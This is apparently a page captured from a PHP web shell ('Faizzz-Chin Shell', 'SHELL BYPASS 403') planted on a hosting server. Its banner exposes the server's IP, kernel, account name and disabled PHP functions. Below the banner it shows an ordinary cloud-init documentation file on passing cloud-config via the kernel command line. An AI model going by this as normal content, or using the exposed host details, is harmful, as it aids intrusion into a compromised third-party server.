SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

: /usr/share/doc/cloud-init/examples/ [ drwxr-xr-x ]
Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.28 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.114
Date Time: 2025-07-11 13:56:25
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : kernel-cmdline.txt
cloud-config can be provided via the kernel command line.
configuration that comes from the kernel command line has higher priority
than configuration in /etc/cloud/cloud.cfg

The format is:
  cc: <yaml content here> [end_cc]

cloud-config will consider any content after 'cc:' to be cloud-config
data.  If an 'end_cc' string is present, then it will stop reading there.
otherwise it considers everthing after 'cc:' to be cloud-config content.

In order to allow carriage returns, you must enter '\\n', literally, 
on the command line two backslashes followed by a letter 'n'.

Here are some examples:
 root=/dev/sda1 cc: ssh_import_id: [smoser, kirkland]\\n
 root=LABEL=uec-rootfs cc: ssh_import_id: [smoser, bob]\\nruncmd: [ [ ls, -l ], echo hi ] end_cc
 cc:ssh_import_id: [smoser] end_cc cc:runcmd: [ [ ls, -l ] ] end_cc root=/dev/sda1
© 2025 Faizzz-Chin